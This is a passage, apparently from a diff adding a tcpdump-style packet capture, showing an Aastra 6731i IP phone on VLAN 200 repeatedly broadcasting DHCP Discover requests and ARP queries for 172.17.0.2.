+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51979, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51983, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 51990, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52006, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e9e, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52037, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52048, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52056, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52072, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969e24, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52104, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52107, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, secs 3, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52115, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52130, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969e24, secs 26, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52162, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52167, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52175, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52191, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969da7, secs 28, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52223, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52227, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52234, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, secs 11, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52250, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969da7, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (03:6f:72:67:00:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52281, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52289, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 64: vlan 200, p 0, ethertype ARP, Ethernet (len 6), IPv4 (len 4), Request who-has 172.17.0.2 (6f:6e:02:63:61:00) tell 172.17.0.20, length 46
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52297, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 344: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52312, offset 0, flags [DF], proto UDP (17), length 326)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 298, xid 0x96969d30, secs 27, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52343, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52347, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, secs 4, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
+00:08:5d:23:0c:3f > ff:ff:ff:ff:ff:ff, ethertype 802.1Q-QinQ (0x88a8), length 594: vlan 200, p 0, ethertype IPv4, (tos 0x0, ttl 32, id 52355, offset 0, flags [DF], proto UDP (17), length 576)
+    0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:08:5d:23:0c:3f, length 548, xid 0x96969d30, secs 12, Flags [none]
+	  Client-Ethernet-Address 00:08:5d:23:0c:3f
+	  Vendor-rfc1048 Extensions
+	    Magic Cookie 0x63825363
+	    DHCP-Message Option 53, length 1: Discover
+	    MSZ Option 57, length 2: 1500
+	    Parameter-Request Option 55, length 9: 
+	      Subnet-Mask, Default-Gateway, Domain-Name-Server, NTP
+	      Vendor-Option, Time-Zone, TFTP, Option 159
+	      Option 160
+	    Hostname Option 12, length 17: "6731i00085D230C3F"
+	    Vendor-Class Option 60, length 18: "AastraIPPhone6731i"
